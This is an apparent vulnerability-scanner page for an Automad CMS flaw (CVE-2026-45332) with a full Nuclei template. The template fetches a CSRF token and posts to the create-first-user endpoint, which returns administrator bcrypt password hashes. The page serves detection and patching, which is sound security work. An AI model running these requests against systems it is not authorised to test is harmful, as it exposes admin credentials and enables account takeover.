Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure

highseverity

7.5CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.

Impact

Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.

Fix

Upgrade to version 2.0.0-beta.28 or later.

How to confirm it

Send: GET /dashboard/login
Send: POST /_api/user-collection/create-first-user
Positive when: contains "passwordHash" and "accounts.php" AND status 200

Run it with nuclei: nuclei -id CVE-2026-45332 -u <target>

The full check

id: CVE-2026-45332

info:
  name: Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
  author: str4k3r
  severity: high
  description: |
    Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.
  impact: |
    Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.
  remediation: |
    Upgrade to version 2.0.0-beta.28 or later.
  reference:
    - https://github.com/marcantondahmen/automad/security/advisories/GHSA-xm76-r88j-vm3g
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45332
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-45332
    epss-score: 0.01417
    epss-percentile: 0.72996
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    product: automad
    vendor: marcantondahmen
  tags: cve,cve2026,automad,exposure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /dashboard/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - 'name="csrf" content="([a-f0-9]+)"'

  - raw:
      - |
        POST /_api/user-collection/create-first-user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __csrf__={{csrf_token}}&username=nuclei_check&password1=Nuclei-Check-Pw1!&password2=Nuclei-Check-Pw1!&email=nuclei-check%40example.local

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'passwordHash'
          - 'accounts.php'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from